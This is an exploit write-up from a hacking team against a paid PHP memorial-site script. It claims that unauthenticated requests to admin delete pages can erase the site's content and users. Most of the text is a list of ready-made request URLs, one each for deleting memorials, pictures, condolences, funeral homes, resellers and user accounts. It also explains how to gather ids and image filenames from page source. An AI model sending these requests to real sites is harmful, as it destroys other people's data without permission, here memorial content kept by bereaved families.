Memorial Web Site Script Arbitrary Deletion

`-----------------------------------------------------------------------------------------  
Memorial Web Site Script Multiple Arbitrary Delete Vuln  
-----------------------------------------------------------------------------------------  
  
Author : Chip D3 Bi0s  
Email : chipdebios[alt+64]gmail.com  
Where : From Remote  
Team : LatinHackTeam  
  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Author : Easy Scripts  
Price : $49  
Vendor : http://www.easy-scripts.net  
  
description Bug:  
~~~~~~~~~~~~~~~  
After seeing the bug v3n0m:  
http://www.exploit-db.com/exploits/12351  
  
I kept seeing some things,  
Discovery that could clear things published registered user,  
even delete registered users:)  
to do so, we must first get the id of registered users  
I'd have this form in some of its publications  
  
http://127.0.0.1/[path]/show_memorial.php?id=100  
  
  
then only get the id can delete all these things  
Memorials, Pictures, Multimple Pictures, Condoleances,  
Funeral homes, Resell & Delet Users  
  
All this is explained below:  
  
  
-------------------  
Delet Memorials  
http://127.0.0.1/[path]/admin/delete_mem.php?id=100  
  
------------------  
Delet Pictures  
http://127.0.0.1/[path]/admin/delete_pic.php?id=100  
  
  
  
in case of multiple images  
View Source on the pole is thus  
  
var preloadedimages=new Array();  
var timeoutId;  
  
photos[0]="pictures/1158372383_0_sub.JPG";  
names[0]="";  
photos[1]="pictures/1158372858_0_sub.JPG";  
names[1]="Mon&Dad";  
photos[2]="pictures/1158372975_0_sub.JPG";  
names[2]="Cementry";  
photos[3]="pictures/1158373106_0_sub.JPG";  
names[3]="Dad&Tommy";  
photos[4]="pictures/1158373106_1_sub.JPG";  
names[4]="Dad&Steve";  
photos[5]="pictures/1158373335_0_sub.JPG";  
names[5]="";  
photos[6]="pictures/1158375471_0_sub.JPG";  
names[6]="Dad7Minoo&Homa";  
  
Delet Multimple Pictures  
  
http://127.0.0.1/[path]/admin/del_im.php?id=100&name=1158375471_0_sub.JPG  
-------------------  
  
Delet Condoleances  
http://127.0.0.1/[path]/dmin/delete_con.php?id=100  
  
-------------  
Delet Funeral homes  
http://127.0.0.1/[path]/admin/delete_fh.php?id=100  
  
  
--------  
Delet Resell  
http://127.0.0.1/[path]/admin/delete_resell.php?id=100  
  
---------  
Delet Users  
http://127.0.0.1/[path]/admin/delete_user.php?id=100  
  
  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
`